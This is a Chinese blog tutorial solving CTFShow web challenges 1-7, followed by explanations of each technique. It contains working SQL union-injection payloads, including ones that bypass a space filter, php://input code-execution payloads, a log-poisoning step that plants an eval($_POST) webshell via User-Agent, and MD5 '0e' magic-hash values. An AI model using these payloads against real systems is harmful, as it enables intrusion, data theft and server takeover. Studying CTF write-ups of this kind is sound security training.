CTFShow WEB模塊詳細通關教程, 受篇幅所限, 通關教程分為上下兩部分, 第一部分為1-7關, 第二部分為8-14關, 本篇博客為1-7關的通關教程, 從解題思路和原理剖析兩個方面進行講解
CTFShow web1-7關詳細教程
- 解題思路
- CTFShow web簽到題
- CTFShow web2
- CTFShow web3
- CTFShow web4
- CTFShow web5
- CTFShow web6
- CTFShow web7
- 原理剖析
- php://input偽協議
- 日志注入
- MD5加密漏洞-0e繞過
- 過濾空格的繞過方式
解題思路
CTFShow web簽到題
這一關的重點在于注釋, 由于開發人員的疏忽, 忘記洗掉注釋中的敏感資料, 右鍵檢查網頁原始碼即可拿到 flag


CTFShow web2
第二關是一個SQL注入漏洞, 注入點為單引號字符型注入, 頁面有顯示位, 推薦使用聯合注入, 這一關沒有對用戶輸入的引數進行過濾, 難度相對較低

第一步, 判斷注入點
用戶名輸入以下payload, 使SQL恒成立, 密碼不用輸
a' or true #
頁面正常顯示, 并且展示了登錄成功后的用戶名

接下來, 在用戶名輸入以下payload, 使SQL恒不成立, 密碼還是不用輸
a' or false #
頁面空顯示, 原來顯示用戶名的地方, 現在為空了, 這是因為我們輸入的引數拼接到SQL中執行時, 使SQL變得橫不成立, SQL查詢不到用戶的資訊, 自然會空顯示

由以上結果可知, 用戶可以通過引數來控制SQL陳述句的執行結果, 故而存在SQL注入漏洞, 并且注入點為單引號字符型注入, 由于頁面中有顯示位( SQL查詢的結果會在頁面的固定位置顯示), 推薦使用聯合注入
第二步, 脫庫
獲取當前使用的資料庫, 盲猜flag就在當前使用的資料庫中, 用戶名輸入以下payload, 密碼不用輸
a' union select 1,database(),3 #

獲取資料庫web2中的表
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #

獲取表flag中的欄位, 很明顯flag就在flag表中
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 #

獲取 flag
a' union select 1,(select flag from flag),3 #

CTFShow web3
第三關是一個檔案包含漏洞, 推薦使用PHP://input偽協議進行任意代碼執行

在url的引數中提交PHP偽協議
?url=php://input

使用代理工具( Burp Suite)抓包, 在POST請求體中輸入需要執行的PHP代碼, 比如執行系統命令:查看當前目錄下的檔案
<?php system('ls');?>

當前目錄下有兩個檔案, 目測flag就在 ctf_go_go_go 檔案中

接下來我們查看 ctf_go_go_go 檔案, 獲取 flag, url的引數中使用PHP偽協議
?url=php://input

使用代理工具( Burp Suite)攔截請求, 在POST請求體中傳遞需要執行的PHP代碼
<?php system('cat ctf_go_go_go');?>

成功拿到 flag

CTFShow web4
第四關也是一個檔案包含漏洞, 與第三關不同的是, 這一關過濾了PHP偽協議, 推薦使用日志注入

1.首先, 訪問一下web服務器的日志檔案( Nginx日志檔案的默認位置是/var/log/nginx/access.log)
?url=/var/log/nginx/access.log

2.使用代理工具( Burp Suite)在請求頭User-Agent的內容中插入后門
<?php eval($_POST['a']);?>

3.再次訪問日志檔案, 會發現新增了一條訪問記錄, 后門代碼不會在頁面中顯示, 因為代碼會被直接執行, 加下來我們使用蟻劍等工具鏈接后門即可


4.使用蟻劍的檔案管理功能, 在網站根目錄( www)下有一個 falg.txt, flag就在這個檔案里面


CTFShow web5
第五關是一個MD5加密漏洞, 這一關需要傳遞兩個引數, 如果兩個引數的MD5值相等, 即可輸出 flag, 推薦使用0e繞過

payload如下
?v1=QNKCDZO&v2=240610708

CTFShow web6
第六關是一個SQL注入漏洞, 注入型別為數值型注入, 頁面有回顯, 推薦使用聯合注入, 原始碼中過濾了空格, 可以使用注釋/**/ 或 括號() 來繞過

1.使用萬能賬號測驗注入點
括號()繞過, 用戶名輸入以下payload, 密碼不用輸
a'or(true)#
注釋/**/繞過
a'/**/or/**/true/**/#

頁面有顯示位( 查詢出來的用戶在頁面的固定位置展示), 推薦使用聯合注入
2.脫庫
獲取當前資料庫, 盲猜 flag 就在當前使用的資料庫中, 用戶名輸入以下payload, 密碼不用輸
a'union/**/select/**/1,database(),3#

獲取資料庫中的表
a'union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema='web2'),3#

獲取表中的欄位
a'union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web2'and/**/table_name='flag'),3#

獲取 flag
a'union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

CTFShow web7
第七關也是一個SQL注入漏洞, 注入點是數值型注入, 頁面有回顯, 推薦使用聯合注入, 原始碼中過濾了空格, 可以使用注釋/**/ 或 括號() 來繞過

1.判斷注入點
url地址欄中輸入以下payload, 是SQL恒成立, 可以查詢到所有文章內容, 由此可證明存在SQL注入
?id=-1/**/or/**/true

頁面存在顯示位( 文章標題和文章內容在固定位置展示), 推薦使用聯合注入
2.脫庫
獲取當前資料庫, url中輸入以下payload
-1/**/union/**/select/**/1,database(),3

獲取資料庫中的表
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

獲取表中的欄位
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"and/**/table_name="flag"),3

獲取 flag
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

原理剖析
解題程序中用到了兩種檔案包含漏洞的利用方式, 一種MD5加密的繞過方式, 一種SQL注入漏洞的繞過方式, 接下來, 針對這幾種方式的實作原理解釋一下
php://input偽協議
php://input偽協議是檔案包含漏洞的一種利用方式, 在url的引數中使用偽協議時, 會將POST請求體中的內容當做檔案來執行, 如果POST請求體中包含代碼, 則代碼會被正常執行, 從而造成任意代碼執行, 具體使用情況參考web3的解題思路
日志注入
日志注入是檔案包含漏洞的一種利用方式, web服務器的日志檔案會保存網站的訪問記錄, 包括請求的源地址, 時間, 請求方式, User-Agent, Referer等HTTP請求頭, 如果在這些請求頭中插入代碼, 則代碼會被保存在web服務器的日志檔案中, 當我們訪問日志檔案的時候, 檔案中的代碼則會被執行
本次用到了一個Nginx日志檔案的默認路徑:/var/log/nginx/access.log
MD5加密漏洞-0e繞過
md5()函式在加密時存在一些漏洞, 這主要是因為PHP在使用來比較字串時, 如果字串是以0e開頭, 則會被當做科學計數法, 結果轉換為0
比如web5中, 兩個引數經過md5()函式加密后, 都是0e開頭, 在參與PHP的比較時, 都會轉換為0, 結果會變成0=0, 從而使比較成立, 除了上面使用的兩個值以外, md5()函式加密后以0e開頭的值還有
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
過濾空格的繞過方式
SQL注入漏洞中, 經常會面對各種各樣的過濾, 上面遇到的過濾空格的情況, 有兩種常用的繞過方式
1.注釋/**/繞過
2.括號()繞過
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300423.html
標籤:其他
